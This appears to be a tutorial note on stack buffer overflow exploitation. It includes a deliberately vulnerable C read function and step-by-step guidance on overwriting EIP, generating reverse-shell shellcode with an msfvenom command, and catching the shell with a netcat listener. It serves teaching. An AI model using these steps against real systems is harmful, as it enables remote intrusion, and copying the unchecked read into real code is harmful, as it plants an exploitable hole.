In programming and information security, a buffer overflow or buffer overrun is an anomaly whereby a program writes data to a buffer beyond the buffer’s allocated memory, overwriting adjacent memory locations.

The buffer overflow exploit is one of the foundational ways of compromising a computer system. The exploit misuses an unsafe allocation of memory, fills the buffer with malicious code and tricks the attacked program into executing the malicious code.

While it is most prevalent in programs written in C, this type of vulnerability seems to slip into any systems programming language, even very modern programming languages such as NodeJS have Buffer.unsafeAlloc calls, which allow programmers to write efficient, performing code.

stack, heap, cpu and pointers

  • EIP: Instruction pointer
  • ESP: Stack Pointer
  • EBP: Base pointer

installing GDB and gdb-peda

vulnerable code

#define BUFFER_SIZE 1024
#define HEADER_SIZE 4

void vuln_read(int cli_fd) {
  char buffer[BUFFER_SIZE];

  // read 4 bytes to get how many bytes to read
  // assuming that it's little endian
  int to_read;
  read(cli_fd, &to_read, HEADER_SIZE);
  printf("Will read %d bytes\n", to_read);

  int read_bytes = read(cli_fd, buffer, to_read);
  printf("Read: %d bytes\n", read_bytes);
  printf("Incoming message: %s\n", buffer);
}

The number of bytes that will be read is not checked. This means we can pass a value bigger than the size of the buffer, and overflow the registers that come after the buffer

exploitation process

  • find the memory offsets and register locations
    • we create a pattern that is larger than the 1024 buffer, for instance a pattern of 1200 bytes: pattern create 1100
    • we use this pattern as the message we send to the vulnerable buffer
    • we run the program
    • we send the pattern message from a separate client
    • the program crashes
    • use pattern_search to find registers that match out pattern:
      • we find the value in the EIP register at a specific offset
      • we print the address of the top of the stack ($esp)
  • prepare the shellcode
    • create shellcode using msfvenom, watch the architecture and format msfvenom LHOST=ip LPORT=port -p target/arch/shell_reverse_tcp -f python
  • we craft a payload message
    • first, an arbitrary string with a size that exactly matches the offset for the EIP
    • add the address of the top of the stack (that will be written into the EIP)
    • add the shellcode
  • prepare to receive the reverse shell nc -vlp 5555
  • trigger the exploit
  • use the prepared netcat connection to control the reverse shell

sources